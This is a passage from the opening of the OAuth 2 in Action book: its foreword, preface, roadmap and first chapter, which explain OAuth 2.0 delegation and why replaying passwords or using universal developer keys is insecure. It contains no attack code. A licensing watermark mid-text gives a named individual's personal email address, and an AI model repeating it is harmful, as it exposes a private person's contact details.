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foreword
There is nothing more daunting than a blank page. It stares at you. It taunts you.

It’s not like you don’t know what you want to do. You have a clear picture of the 
awesome that you want to unleash. You can almost envision the smiles on your boss’s 
or customer’s face as they delight in the awesome you will create. But the problem 
is there’s a blank page in front of you.

So you reach for your tools. Because you’re reading this, it’s likely you are a 
developer or identity management professional. Either way, you know that security 
is paramount and you want to protect the awesome that you intend to build.

Enter OAuth. You’ve heard of it. You know it has something to do with protect-
ing resources—most notably APIs. It’s super popular and, apparently, it can do any-
thing. And the problem with things that can do anything is that they make it hard to 
do something. They are yet another blank page.

Enter Justin and Antonio and this book. The easiest way to get over the paralysis 
when working with a thing that can do anything is to start and just try to do some-
thing. This book not only explains what OAuth does, it gently guides you through 
the process of doing something, at the end of which not only will you have a very 
solid understanding of OAuth as a tool, but you’ll no longer have a blank page in 
front of you—you’ll be ready to deliver the awesome that’s in your head.

OAuth is a very powerful tool. Its power comes from its flexibility. Flexibility often 
means the ability to not only do what you want to do, but also the ability to do things 
in an unsafe way. Because OAuth governs access to APIs, which in turn gates access 
to your important data, it’s crucial that you do use it in a safe way by avoiding anti-
patterns and using best practices. Stated differently, just because you have the flex-
ibility to do anything and deploy in any way, doesn’t mean that you should.
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There’s another thing about OAuth we might as well get on the table—you are 
not working with OAuth because you want to work with OAuth. You are working with 
OAuth because you want to do something else—most likely orchestrate a bunch of API 
calls and then do something awesome with the results. You’re thinking about a full 
page; you’re thinking about the awesome you want to unleash. OAuth is a way to get 
there, and to get there more securely.

Thankfully, Justin and Antonio provide pragmatic guidance on what to do and what 
not to do. They acknowledge both the “I just want to get this done” and the “I want to 
make sure this is secure” mindsets you have.

With the page filled, with the awesome out of your head and in your customers’ 
hands, you realize the job wasn’t so hard after all.

—IAN GLAZER
SENIOR DIRECTOR, IDENTITY

SALESFORCE
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preface
My name is Justin Richer, and I’m not a classically trained security nerd, even though 
I pretend to be one for my day job as a consultant. My background is in collabora-
tion technologies and how we can get people doing things together using comput-
ers. Even so, I’ve been working with OAuth for a long time, having implemented 
several early OAuth 1.0 servers and clients to connect the collaboration systems 
that I was conducting research with at the time. It was around then that I came to 
appreciate that you needed to have a good, implementable, usable security system 
if your application architecture was going to survive in the real world. Around this 
time, I attended the early Internet Identity Workshop meetings, where people were 
talking about a next generation of OAuth, something that would build on the les-
sons learned from using OAuth 1.0 out in the real world. When the development 
of OAuth 2.0 started up in the Internet Engineering Task Force (IETF), I joined 
the group and dove face first into the debates. Several years later, we came up with 
a specification. It wasn’t perfect, but it worked pretty well, people got it, and it 
caught fire.

I stayed involved with the OAuth Working Group, and even served as editor for 
the Dynamic Registration (RFC 7591 and 7592) and Token Introspection (RFC 
7662) extensions to OAuth. Today, I’m the editor or author for parts of the OAuth 
Proof of Possession (PoP) suite, as well as the technical editor for several profiles and 
extensions of OAuth and its related protocols. I worked on the OpenID Connect 
core specification, and my team and I implemented a fairly well-received OAuth 
and OpenID Connect server and client suite, MITREid Connect. I suddenly found 
myself talking about OAuth 2.0 to many different audiences and implementing it 
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on a wide variety of systems. I’d taught classes, given lectures, and written a handful of 
articles about the subject.

So when Antonio Sanso, a well-respected security researcher in his own right, 
approached me to write this book together, it made sense for me to jump in. We looked 
around at what books were available on OAuth 2.0, and were unimpressed. Most of the 
material we found was specific to a service: How to write an OAuth client to talk to Facebook 
or Google, for instance. Or How to authorize your native application to GitHub’s API. And if 
that’s all you care about, there’s plenty of material out there. But what we didn’t see 
was something that would take the reader through the entire OAuth system, explain-
ing why it is designed the way that it is, pointing out its flaws and limitations as well as 
its strengths. We decided that there was a need for a more comprehensive approach, 
and we decided to make it the best that we could. Consequently, this book doesn’t talk 
to any specific real-world OAuth provider, nor does it get into detail on a particular API 
or vertical domain. Instead, this book focuses on doing OAuth for its own sake, so that 
you can see how all the gears mesh together when you turn the cranks.

We built out a code framework that, we hoped, would allow readers to focus on the 
core aspects of OAuth without getting overly caught up in the implementation plat-
form details. After all, we didn’t want a book that was “How to implement OAuth 2.0 
on Platform Du Jour,” but rather, “How the nuts and bolts of OAuth 2.0 work so you 
can use whatever platform you want.” So we went with a relatively simple Node.js 
framework, built on Express.js, and liberally used library code to abstract away the 
platform-specific weirdness as much as possible. Still, it’s JavaScript, so some of that 
weirdness crept in from time to time, as it would on any platform. But it’s our hope that 
you will be able to apply the methods and themes used here to your chosen language, 
platform, and architecture.

Speaking of histories, how did we even get here? The story starts in 2006, when 
several web service companies, including Twitter and Ma.Gnolia, had complementary 
applications and wanted their users to be able to connect them together. At the time, 
this type of connection was typically accomplished by asking the user for their creden-
tials on the remote system and sending those credentials to the API. However, the web-
sites in question used a distributed identity technology, OpenID, to facilitate login. As 
a consequence, there were no usernames or passwords that could be used for the API.

To overcome this, the developers sought to create a protocol that would allow their 
users to delegate access to the API. They based their new protocol on several propri-
etary implementations of this same concept, including Google’s AuthSub and Yahoo!’s 
BBAuth. In all of these, a client application is authorized by a user and receives a token 
that can then be used to access a remote API. These tokens were all issued with a public 
and private portion, and this protocol used a novel (if in retrospect fragile) crypto-
graphic signing mechanism so that it could be used over non-TLS HTTP connections. 
They called their protocol OAuth 1.0 and published it as an open standard on the web. 
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It quickly gained traction, and free implementations in several languages were made 
available alongside the specification itself. It worked so well and developers liked it so 
much that even the large internet companies soon deprecated their own proprietary 
mechanisms that had inspired OAuth in the first place.

As happens with many new security protocols, a flaw was found early on in OAuth 
1.0’s life, leading to the development of OAuth 1.0a to close a session fixation vulner-
ability. This version was later codified in the IETF as RFC 5849. At this point, a commu-
nity was beginning to grow around the OAuth protocol, and new use cases were being 
developed and implemented. Some of these pushed OAuth into places that it was 
never meant to be used in, but these off-label OAuth uses worked better than any avail-
able alternatives. Still, OAuth 1.0 was a monolithic protocol designed to provide one 
mechanism to solve all use cases, and it was venturing into uncomfortable territory.

Soon after the publication of RFC 5849, the Web Resource Access Protocol (WRAP) 
was published. This proposed protocol took the core aspects of the OAuth 1.0a pro-
tocol—a client, delegation, and tokens—and expanded them to be used in different 
ways. WRAP did away with many of OAuth 1.0’s more confusing and problem-prone 
aspects, such as its custom signature calculation mechanism. After much debate in the 
community, WRAP was decided on as the basis for the new OAuth 2.0 protocol. Where 
OAuth 1.0 was monolithic, OAuth 2.0 was modular. The modularity in OAuth  2.0 
allowed it to be a framework that could be deployed and used in all of the ways that 
OAuth 1.0 had been in practice, but without twisting core aspects of the protocol. 
OAuth 2.0 essentially provided recipes.

In 2012, the core OAuth 2.0 specifications were ratified by the IETF, but the com-
munity was far from done with it. This modularity was further codified by splitting the 
specification into two complementary pieces: RFC 6749 details how to get a token, 
while RFC 6750 details how to use a particular type of token (the Bearer token) at a 
protected resource. Furthermore, the core of RFC6749 details multiple ways to get a 
token and provides an extension mechanism. Instead of defining one complex method 
to fit different deployment models, OAuth 2.0 defines four different grant types, each 
suited to a different application type.

Today, OAuth 2.0 is the premier authorization protocol in use on the web. It’s used 
by everything: from large internet companies to small startups, to enterprises, to just 
about everything in between and beyond. A whole ecosystem of extensions, profiles, 
and entire protocols built on top of OAuth 2.0 has sprung up, with people finding new 
and interesting ways to use this foundational technology. It’s our goal that this book 
will help you understand not only what OAuth 2.0 is and why it works the way it does, 
but how you can best use it to solve your own problems and build your own systems.

JUSTIN RICHER
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about this book
This book is intended to be a comprehensive and thorough treatment of the 
OAuth 2.0 protocol and many of its surrounding technologies, including OpenID 
Connect and JOSE/JWT. We want you to come away from this book with a deep 
understanding of what OAuth can do, why it works the way that it does, and how to 
deploy it properly and securely in an unsafe internet.

The target reader for this book is someone who’s probably used OAuth 2.0, or at 
least heard of it, but doesn’t really know how it works or why it works that way. Maybe 
you’ve even developed one or more OAuth 2.0 components, such as a client to talk 
to a specific API, but you’re curious about other kinds of clients, or other parts of 
the OAuth 2.0 ecosystem. Perhaps you wonder, “What’s the authorization server 
doing when you go ask for that authorization code, anyway?” Or perhaps you’re 
tasked with protecting an API and you want to know if OAuth 2.0 is really going to 
do the job, and if so, how are you supposed to manage that? Maybe in your day job 
you’re building a client, but you want to know what the protected resource does 
with that token you sent it. Or maybe you’re building and protecting an API, but 
you want to know what the authorization server you’re talking to does to get those 
tokens into the right place. We want you to understand what the tool, OAuth 2.0, is 
really good at and how you can wield it effectively.

We’re going to assume you know the basics of how HTTP works, and at least 
understand the utility of encrypting connections using TLS, if not the intimate 
details of how it works. Our code is all in JavaScript, but this isn’t a book about 
JavaScript, and so we’ve done our best to explain the abstractions and functional-
ity that the code itself represents so that you can apply it to your own platform and 
language.
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Roadmap
This book has 4 sections consisting of 16 chapters in total. The first section, consisting 
of chapters 1 and 2, provides an overview of the OAuth 2.0 protocol and is considered 
core reading material. The second section, consisting of chapters 3 to 6, demonstrates 
how to build an entire OAuth 2.0 ecosystem. The third section, consisting of chapters 
7 to 10, discusses vulnerabilities to different parts of the OAuth 2.0 ecosystem and how 
to avoid them. The final section, consisting of chapters 11 to 16, goes beyond the core 
OAuth 2.0 protocol and into the wider ecosystem of standards and specifications, as 
well as providing a wrap-up to the book.

■	 Chapter 1 provides an overview of the OAuth 2.0 protocol, as well as the motiva-
tion behind its development, including approaches to API security that predates 
OAuth.

■	 Chapter 2 goes into depth on the authorization code grant type, the most com-
mon and canonical of OAuth 2.0’s core grant types.

■	 Chapters 3 through 5 demonstrate how to build a simple but fully func-
tional OAuth 2.0 client, protected resource server, and authorization server 
(respectively).

■	 Chapter 6 looks at the variations in the OAuth 2.0 protocol, including grant 
types other than the authorization code, as well as considerations for native 
applications.

■	 Chapters 7 through 9 discuss common vulnerabilities in OAuth 2.0 clients, pro-
tected resources, and authorization servers (respectively) and how to prevent 
them.

■	 Chapter 10 discusses vulnerabilities and attacks against OAuth 2.0 bearer tokens 
and authorization codes and how to prevent them.

■	 Chapter 11 looks at JSON Web Tokens (JWT) and the JOSE mechanisms used in 
encoding them, as well as token introspection and revocation to complete the 
token lifecycle.

■	 Chapter 12 looks at dynamic client registration and how that affects the charac-
teristics of an OAuth 2.0 ecosystem.

■	 Chapter 13 looks at how OAuth 2.0 is not an authentication protocol, and then 
proceeds to show how to build an authentication protocol on top of it using 
OpenID Connect.

■	 Chapter 14 looks at the User Managed Access (UMA) protocol built on top of 
OAuth 2.0 that allows for user-to-user sharing, as well as the HEART and iGov 
profiles of OAuth 2.0 and OpenID Connect and how these protocols are applied 
in specific industry verticals.

■	 Chapter 15 moves beyond the common bearer token of OAuth 2.0’s core specifi-
cations and describes how both Proof of Possession (PoP) tokens and TLS token 
binding work with OAuth 2.0.
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■	 Chapter 16 wraps everything up and directs the reader to how to apply this knowl-
edge going forward, including a discussion of libraries and the wider OAuth 2.0 
community.

We don’t expect you to read this book in order, though you can do just that and we’ve 
tried to organize things to allow that kind of exposition. We do suggest that you read 
the first two chapters together, because they’ll give you a very thorough overview of 
OAuth 2.0 and provide some deep looks into key concepts and components. But let’s 
be honest, you’re probably looking for specific bits of information, so maybe you’ll go 
read the chapters on client development and client vulnerabilities, then hop around 
to the chapter on user authentication or token management, and then go take a look 
at how authorization servers tick. Because of this, we’ve also tried to make sure that 
each chapter really stands on its own, and we’ve put in references for other content 
throughout the book so that you can find your way to topics.

About the code
All of the code in this book is available as open source under an Apache 2.0 license. We 
feel that it’s important to encourage people to use, remix, and contribute to the code, 
even if they’re just exercises and examples. The worlds of open standards, like OAuth, 
and open source go hand in hand, and we feel it’s important that we help contribute 
to that. The source is available from GitHub at https://github.com/oauthinaction/
oauth-in-action-code/ and we encourage you to fork it, clone it, branch it, and even 
make pull requests to make it better. Code exercises are available for chapters 3 to 13, 
and 15, with an overview of the framework available in appendix A and selected code 
listings in appendix B. The code is also available for download from the publisher’s 
website at www.manning.com/books/oauth-2-in-action.

All of the code in this book is written in the JavaScript language using Node.js. 
Web applications, which comprise most of the examples, use Express.js and a variety 
of other libraries to function. We’ve tried our best to insulate the readers from the 
oddities of JavaScript, as the goal of this book is not to learn proficiency in a par-
ticular language or platform. If you’ve ever programmed with a web framework, such 
as Java Spring or Ruby on Rails, then you’ll be familiar with most of the concepts 
and constructs. Furthermore, we’ve tried to include documented utility functions to 
handle some of the ancillary details to the OAuth protocol, such as building a prop-
erly formatted and encoded URL with query parameters or creating an HTTP Basic 
authentication string. See appendix A for more details on the code environment used 
throughout the book, including a simple exercise designed to show the reader how to 
get things up and running.

Selected exercises are also available online at Katacoda (www.katacoda.com), an 
interactive, self-guided tutorial website. These exercises use the exact same code as the 
book itself, but are presented in a containerized runtime environment available over 
the web.
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Code conventions

This book contains many examples of source code both in numbered listings and in 
line with normal text. In both cases, source code is formatted in a fixed-width font 
like this to separate it from ordinary text. Sometimes code is also in bold to high-
light code that has changed from previous steps in the chapter, such as when a new 
feature adds to an existing line of code.

In many cases, the original source code has been reformatted; we’ve added line 
breaks and reworked indentation to accommodate the available page space in the 
book. In rare cases, even this wasn’t enough, and listings include line-continuation 
markers (➥). Additionally, comments in the source code have often been removed 
from the listings when the code is described in the text. Code annotations accompany 
many of the listings, highlighting important concepts.

Author Online
The purchase of OAuth 2 in Action includes free access to a private web forum run by 
Manning Publications, where you can make comments about the book, ask techni-
cal questions, and receive help from the authors and from other users. To access the 
forum and subscribe to it, point your web browser to www.manning.com/books/oauth-
2-in-action. This page provides information on how to get on the forum once you are 
registered, what kind of help is available, and the rules of conduct on the forum.

Manning’s commitment to our readers is to provide a venue where a meaningful 
dialogue between individual readers and between readers and the authors can take 
place. It is not a commitment to any specific amount of participation on the part of the 
authors whose contribution to the forum remains voluntary (and unpaid). We suggest 
you try asking the authors some challenging questions lest their interest stray!

The Author Online forum and the archives of previous discussions will be accessible 
from the publisher’s website as long as the book is in print.
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century album of Croatian traditional costumes by Nikola Arsenovic, published by 
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Zagrovic is a small town in inland Dalmatia, built on the ruins of an old medi-
eval fortress. The figure on the cover is wearing blue woolen trousers and, over a 
white linen shirt, a voluminous red woolen jacket, richly trimmed with the colorful 
embroidery typical for this region. He is holding a long pipe in one hand and has 
a musket slung over his other shoulder. A red cap and leather moccasins complete 
the outfit.

Dress codes and lifestyles have changed over the last 200 years, and the diversity 
by region, so rich at the time, has faded away. It is now hard to tell apart the inhab-
itants of different continents, let alone of different hamlets or towns separated by 
only a few miles. Perhaps we have traded cultural diversity for a more varied per-
sonal life—certainly for a more varied and fast-paced technological life.

Manning celebrates the inventiveness and initiative of the computer business 
with book covers based on the rich diversity of regional life of two centuries ago, 
brought back to life by illustrations from old books and collections like this one.
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Part 1

First steps

In this section, you’ll get a thorough overview of the OAuth 2.0 protocol, how 
it works, and why it works the way that it does. We’ll start with an overview of what 
OAuth is and how people used to solve the delegation problem before OAuth 
was invented. We’ll also take a look at the boundaries of what OAuth is not and 
how it fits into the larger web security ecosystem. We’ll then take a deep look at 
the authorization code grant type, the most canonical and complete grant type 
available in OAuth 2.0 today. These topics will provide a solid basis for under-
standing the rest of the book.
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1What is OAuth 2.0 and why 
should you care?

This chapter covers
■  ■ What OAuth 2.0 is

■  ■ What developers do without OAuth

■  ■ How OAuth works

■  ■ What OAuth 2.0 is not

If you’re a software developer on the web today, chances are you’ve heard of OAuth. 
It is a security protocol used to protect a large (and growing) number of web APIs all 
over the world, from large-scale providers such as Facebook and Google to small one-
off APIs at startups and inside enterprises of all sizes. It’s used to connect websites to 
one another and it powers native and mobile applications connecting to cloud ser-
vices. It’s being used as the security layer for a growing number of standard protocols 
in a variety of domains, from healthcare to identity, from energy to the social web. 
OAuth is far and away the dominant security method on the web today, and its ubiq-
uity has leveled the playing field for developers wanting to secure their applications. 

But what is it, how does it work, and why do we need it?

1.1	 What is OAuth 2.0?
OAuth 2.0 is a delegation protocol, a means of letting someone who controls a 
resource allow a software application to access that resource on their behalf with-
out impersonating them. The application requests authorization from the owner 
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of the resource and receives tokens that it can use to access the resource. This all 
happens without the application needing to impersonate the person who controls 
the resource, since the token explicitly represents a delegated right of access. In 
many ways, you can think of the OAuth token as a “valet key” for the web. Not all 
cars have a valet key, but for those that do, the valet key provides additional security 
beyond simply handing over the regular key. The valet key of a car allows the owner 
of the car to give limited access to someone, the valet, without handing over full 
control in the form of the owner’s key. Simple valet keys limit the valet to accessing 
the ignition and doors but not the trunk or glove box. More complex valet keys can 
limit the upper speed of the car and even shut the car off if it travels more than a 
set distance from its starting point, sending an alert to the owner. In much the same 
way, OAuth tokens can limit the client’s access to only the actions that the resource 
owner has delegated.

For example, let’s say that you have a cloud photo-storage service and a photo-
printing service, and you want to be able to print the photos that you have stored in 
your storage service. Luckily, your cloud-printing service can communicate with your 
cloud-storage service using an API. This is great, except that the two services are run 
by different companies, which means that your account with the storage service has no 
connection to your account with the printing service. We can use OAuth to solve this 
problem by letting you delegate access to your photos across the different services, all 
without giving your password away to the photo printer.

Although OAuth is largely indifferent to what kind of resource it is protecting, 
it does fit nicely with today’s RESTful web services, and it works well for both web 
and native client applications. It can be scaled from a small single-user application 
up to a multimillion-user internet API. It’s as much at home on the untamed wilds 
of the web, where it grew up and is used to protect user-facing APIs of all types, as 
it is inside the controlled and monitored boundaries of an enterprise, where it’s 
being used to manage access to a new generation of internal business APIs and 
systems.

And that’s not all: if you’ve used mobile or web technology in the past five years, 
chances are even higher that you’ve used OAuth to delegate your authority to an appli-
cation. In fact, if you’ve ever seen a web page like the one shown in figure 1.1, then 
you’ve used OAuth, whether you realize it or not.

In many instances, the use of the OAuth protocol is completely transparent, such 
as in Steam’s and Spotify’s desktop applications. Unless an end user is actively looking 
for the telltale marks of an OAuth transaction, they would never know it’s being used.1 
This is a good thing, since a good security system should be nearly invisible when all is 
functioning properly.

1 � The good news is that by the end of this book, you should be able to pick up on all of these telltale 
signs yourself.
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We know that OAuth is a security protocol, but what exactly does it do? Since you’re 
holding a book that’s purportedly about OAuth 2.0, that’s a fair question. According 
to the specification that defines it:2

The OAuth 2.0 authorization framework enables a third-party application to obtain lim-
ited access to an HTTP service, either on behalf of a resource owner by orchestrating an 
approval interaction between the resource owner and the HTTP service, or by allowing the 
third-party application to obtain access on its own behalf.

Let’s unpack that a bit: as an authorization framework, OAuth is all about getting the 
right of access from one component of a system to another. In particular, in the OAuth 
world, a client application wants to gain access to a protected resource on behalf of a 
resource owner (usually an end user). These are the components that we have so far:

■■ The resource owner has access to an API and can delegate access to that API. The 
resource owner is usually a person and is generally assumed to have access to a 
web browser. Consequently, this book’s diagrams represent this party as a person 
sitting with a web browser. 

■■ The protected resource is the component that the resource owner has access to. This 
can take many different forms, but for the most part it’s a web API of some kind. 
Even though the name “resource” makes it sound as though this is something 
to be downloaded, these APIs can allow read, write, and other operations just as 
well. This book’s diagrams show protected resources as a rack of servers with a 
lock icon.

■■ The client is the piece of software that accesses the protected resource on behalf 
of the resource owner. If you’re a web developer, the name “client” might make 
you think this is the web browser, but that’s not how the term is used here. If 

2   RFC 6749 https://tools.ietf.org/html/rfc6749

Figure 1.1  An OAuth authorization dialog from the exercise framework for this book
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you’re a business application developer, you might think of the “client” as the 
person who’s paying for your services, but that’s not what we’re talking about, 
either. In OAuth, the client is whatever software consumes the API that makes up 
the protected resource. Whenever you see “client” in this book, we’re almost cer-
tainly talking about this OAuth-specific definition. This book’s diagrams depict 
clients as a computer screen with gears. This is partially in deference to the fact 
that there are many different forms of client applications, as we’ll see in chapter 
6, so no one icon will universally suffice.

We’ll cover these all in greater depth in chapter 2 when we look at “The OAuth Dance” 
in detail. But for now, we need to realize that we’ve got one goal in this whole setup: get-
ting the client to access the protected resource for the resource owner (see figure 1.2). 

In the printing example, let’s say you’ve uploaded your vacation photos to the 
photo-storage site, and now you want to have them printed. The storage site’s API is 
the resource, and the printing service is the client of that API. You, as the resource 
owner, need to be able to delegate part of your authority to the printer so that it can 
read your photos. You probably don’t want the printer to be able to read all of your 
photos, nor do you want the printer to be able to delete photos or upload new ones of 
its own. Ultimately, what you’re interested in is getting certain photos printed, and if 
you’re like most users, you’re not going to be thinking about the security architectures 
of the systems you’re using to get that done.

Thankfully, because you’re reading this book, chances are that you’re not like most 
users and you do care about security architectures. In the next section, we’ll see how 
this problem could be solved imperfectly without OAuth, and then we’ll look at how 
OAuth can solve it in a better way.

Resource 
Owner

The Goal:

Give the client access 
to the protected 

resource on behalf of
the resource owner.

 

Protected
Resource

Client

Figure 1.2  Connecting the client on behalf of the resource owner
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1.2	 The bad old days: credential sharing (and credential theft)
The problem of wanting to connect multiple disparate services is hardly new, and we 
could make a compelling argument that it’s been around from the moment there was 
more than one network-connected service in the world. 

One approach, popular in the enterprise space, is to copy the user’s credentials and 
replay them on another service (see figure 1.3). In this case, the photo printer assumes that 
the user is using the same credentials at the printer that they’re using at the storage 
site. When the user logs in to the printer, the printer replays the user’s username and 
password at the storage site in order to gain access to the user’s account over there, 
pretending to be the user.

In this scenario, the user needs to authenticate to the client using some kind of cre-
dential, usually something that’s centrally controlled and agreed on by both the client 
and the protected resource. The client then takes that credential, such as a username 
and password or a domain session cookie, and replays it to the protected resource, 
pretending to be the user. The protected resource acts as if the user had authenticated 
directly, which does in fact make the connection between the client and protected 
resource, as required previously. 

This approach requires that the user have the same credentials at the client applica-
tion and the protected resource, which limits the effectiveness of this credential-theft 
technique to a single security domain. For instance, this could occur if a single com-
pany controls the client, authorization server, and protected resources, and all of these 
run inside the same policy and network control. If the printing service is offered by the 
same company that provided the storage service, this technique might work as the user 
would have the same account credentials on both services. 

Resource 
Owner

Copy the resource 
owner’s credentials 

and replay them to the 
protected resource.

Protected
Resource

Client

Figure 1.3 Copy the resource owner’s credentials without asking
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This technique also exposes the user’s password to the client application, though inside 
a single security domain using a single set of credentials, this is likely to be happening 
anyway. However, the client is impersonating the user, and the protected resource has 
no way to tell the difference between the resource owner and the impersonating client 
because they’re using the same username and password in the same way.

But what if the two services occupied different security domains, a likely scenario 
for our photo-printing example? We can’t copy the password the user gave us to log 
into our application any longer, because it won’t work on the remote site. Faced with 
this challenge, these would-be credential thieves could employ an age-old method for 
stealing something: ask the user (figure 1.4). 

If the printing service wants to get the user’s photos, it can prompt the user for their 
username and password on the photo-storage site. As it did previously, the printer 
replays these credentials on the protected resource and impersonates the user. In this 
scenario, the credentials that the user uses to log into the client can be different from 
those used at the protected resource. However, the client gets around this by asking 
the user to provide a username and password for the protected resource. Many users 
will in fact do this, especially when promised a useful service involving the protected 
resource. Consequently, this remains one of the most common approaches to mobile 
applications accessing a back end service through a user account today: the mobile 
application prompts the user for their credentials and then replays those credentials 
directly to the back end API over the network. To keep accessing the API, the client 
application will store the user’s credentials so that they can be replayed as needed. This 
is an extremely dangerous practice, since the compromise of any client in use will lead 
to a full compromise of that user’s account across all systems.

Resource 
Owner

Protected
Resource

Client

?

Ask for the resource 
owner’s credentials 

and replay them to the 
protected resource.

Figure 1.4  Ask for the resource owner’s credentials, and replay them
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This approach still works only in a limited set of circumstances: the client needs to have 
access to the user’s credentials directly, and those credentials need to be able to be 
replayed against a service outside of the user’s presence. This rules out a large variety 
of ways that the user can log in, including nearly all federated, many multifactor, and 
most higher-security login systems.

Lightweight Directory Access Protocol (LDAP) authentication

Interestingly, this pattern is exactly how password-vault authentication technolo-
gies such as LDAP function. When using LDAP for authentication, a client applica-
tion collects credentials directly from the user and then replays these credentials 
to the LDAP server to see whether they’re valid. The client system must have 
access to the plaintext password of the user during the transaction; otherwise, it 
has no way of verifying it with the LDAP server. In a very real sense, this method 
is a form of man-in-the-middle attack on the user, although one that’s generally 
benevolent in nature.

For those situations in which it does work, it exposes the user’s primary credentials to 
a potentially untrustworthy application, the client. To continue to act as the user, the 
client has to store the user’s password in a replayable fashion (often in plaintext or a 
reversible encryption mechanism) for later use at the protected resource. If the client 
application is ever compromised, the attacker gains access not only to the client but 
also to the protected resource, as well as any other service where the end user may have 
used the same password.

Furthermore, in both of these approaches, the client application is impersonating the 
resource owner, and the protected resource has no way of distinguishing a call directly 
from the resource owner from a call being directed through a client. Why is that unde-
sirable? Let’s return to the printing service example. Many of the approaches will work, 
in limited circumstances, but consider that you don’t want the printing service to be 
able to upload or delete photos from the storage service. You want the service to read 
only those photos you want printed. You also want it to be able to read only while you 
want the photos printed, and you’d like the ability to turn that access off at any time. 

If the printing service needs to impersonate you to access your photos, the storage 
service has no way to tell whether it’s the printer or you asking to do something. If the 
printing service surreptitiously copies your password in the background (even though 
it promised not to do so), it can pretend to be you and grab your photos whenever it 
wants. The only way to turn off the rogue printing service is to change your password 
at the storage service, invalidating its copy of your password in the process. Couple this 
with the fact that many users reuse passwords across different systems and you have yet 
another place where passwords can be stolen and accounts correlated with each other. 
Quite frankly, in solving this connection problem, we made things worse.

By now you’ve seen that replaying user passwords is bad. What if, instead, we gave 
the printing service universal access to all photos on the storage service on behalf of 
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anyone it chose? Another common approach is to use a developer key (figure 1.5) 
issued to the client, which uses this to call the protected resource directly. 

In this approach, the developer key acts as a kind of universal key that allows the client 
to impersonate any user that it chooses, probably through an API parameter. This has 
the benefit of not exposing the user’s credentials to the client, but at the cost of the cli-
ent requiring a highly powerful credential. Our printing service could print any photos 
that it wanted to at any time, for any user, since the client effectively has free rein over 
the data on the protected resource. This can work to an extent, but only in instances in 
which the client can be fully known to and trusted by the protected resource. It is vanish-
ingly unlikely that any such relationship would be built across two organizations, such 
as those in our photo-printing scenario. Additionally, the damage done to the protected 
resource if the client’s credentials are stolen is potentially catastrophic, since all users of 
the storage service are affected by the breach whether they ever used the printer or not.

Another possible approach is to give users a special password (figure 1.6) that’s only 
for sharing with third-party services. Users don’t use this password to log in themselves, 
but paste it into applications that they want to work for them. This is starting to sound 
like that limited-use valet key you saw at the beginning of the chapter.

This is starting to get closer to a desirable system, as the user no longer has to share 
their real password with the client, nor does the protected resource need to implicitly 
trust the client to act properly on behalf of all users at all times. However, the usabil-
ity of such a system is, on its own, not very good. This requires the user to generate, 
distribute, and manage these special credentials in addition to the primary passwords 
they already must curate. Since it’s the user who must manage these credentials, there 
is also, generally speaking, no correlation between the client program and the creden-
tial itself. This makes it difficult to revoke access to a specific application. 

Resource
Owner 

A universal key that’s 
good for opening the door 
no matter who locked it.

Protected
Resource

Client

Figure 1.5  Use a 
universal developer key, 
and identify the user 
on whose behalf you’re 
(allegedly) acting

Licensed to Hans Otten <hans.otten@autodata.net>



	 Delegating access	 11

Can’t we do better than this? 
What if we were able to have this kind of limited credential, issued separately for 

each client and each user combination, to be used at a protected resource? We could 
then tie limited rights to each of these limited credentials. What if there were a network-
based protocol that allowed the generation and secure distribution of these limited 
credentials across security boundaries in a way that’s both user-friendly and scalable to 
the internet as a whole? Now we’re starting to talk about something interesting.

1.3	 Delegating access
OAuth is a protocol designed to do exactly that: in OAuth, the end user delegates some 
part of their authority to access the protected resource to the client application to act 
on their behalf. To make that happen, OAuth introduces another component into the 
system: the authorization server (figure 1.7).

The authorization server (AS) is trusted by the protected resource to issue special-
purpose security credentials—called OAuth access tokens—to clients. To acquire a 
token, the client first sends the resource owner to the authorization server in order to 
request that the resource owner authorize this client. The resource owner authenti-
cates to the authorization server and is generally presented with a choice of whether to 
authorize the client making the request. The client is able to ask for a subset of func-
tionality, or scopes, which the resource owner may be able to further diminish. Once 
the authorization grant has been made, the client can then request an access token 
from the authorization server. This access token can be used at the protected resource 
to access the API, as granted by the resource owner (see figure 1.8).

At no time in this process are the resource owner’s credentials exposed to the client: 
the resource owner authenticates to the authorization server separately from anything 

Figure 1.6  A service-
specific password that 
limits access

A special password 
(or token) that can be 
used to access just this 

protected resource.

Resource
Owner 

Protected
Resource

Client
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Figure 1.7  The OAuth authorization server automates the service-specific password process

Authorization 
Server

The authorization 
server gives us a 
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the client and the 

protected resource.

Resource
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Protected
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Figure 1.8  The OAuth process, at a high level
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used to communicate with the client. Neither does the client have a high-powered 
developer key: the client is unable to access anything on its own and instead must be 
authorized by a valid resource owner before it can access any protected resources. This 
is true even though most OAuth clients have a means of authenticating themselves to 
the authorization server.

The user generally never has to see or deal with the access token directly. Instead of 
requiring the user to generate tokens and paste them into clients, the OAuth protocol 
facilitates this process and makes it relatively simple for the client to request a token 
and the user to authorize the client. Clients can then manage the tokens, and users can 
manage the client applications.

This is a general overview of how the OAuth protocol works, but in fact there are 
several ways to get an access token using OAuth. We’ll discuss the details of this process 
in chapter 2 by looking in more detail at the authorization code grant type of OAuth 
2.0. We’ll cover other methods of getting access tokens in chapter 6. 

1.3.1	 Beyond HTTP Basic and the password-sharing antipattern

Many of the more “traditional” approaches listed in the previous section are examples 
of the password antipattern, in which a shared secret (the password) directly rep-
resents the party in question (the user). By sharing this secret password with appli-
cations, the user enables applications to access protected APIs. However, as we’ve 
shown, this is fraught with real-world problems. Passwords can be stolen or guessed, 
a password from one service is likely to be used verbatim on another service by the 
same user, and storage of passwords for future API access makes them even more 
susceptible to theft. 

How did HTTP APIs become password-protected in the first place? The history 
of the HTTP protocol and its security methods is enlightening. The HTTP protocol 
defines a mechanism whereby a user in a browser is able to authenticate to a web page 
using a username and password over a protocol known as HTTP Basic Auth. There is 
also a slightly more secure version of this, known as HTTP Digest Auth, but for our pur-
poses they are interchangeable as both assume the presence of a user and effectively 
require the presentation of a username and password to the HTTP server. Addition-
ally, because HTTP is a stateless protocol, it’s assumed that these credentials will be 
presented again on every single transaction. 

This all makes sense in light of HTTP’s origins as a document access protocol, but 
the web has grown significantly in both scope and breadth of use since those early 
days. HTTP as a protocol makes no distinction between transactions with a browser 
in which the user is present and transactions with another piece of software without 
an intermediary browser. This fundamental flexibility has been key to the unfathom-
able success and adoption of the HTTP protocol. But as a consequence, when HTTP 
started to be used for direct-access APIs in addition to user-facing services, its existing 
security mechanisms were quickly adopted for this new use case. This simple techno-
logical decision has contributed to the long-running misuse of continuously-presented 
passwords for both APIs and user-facing pages. Whereas browsers have cookies and 
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other session-management techniques at their disposal, the types of HTTP clients that 
generally access a web API do not.

OAuth was designed from the outset as a protocol for use with APIs, wherein the 
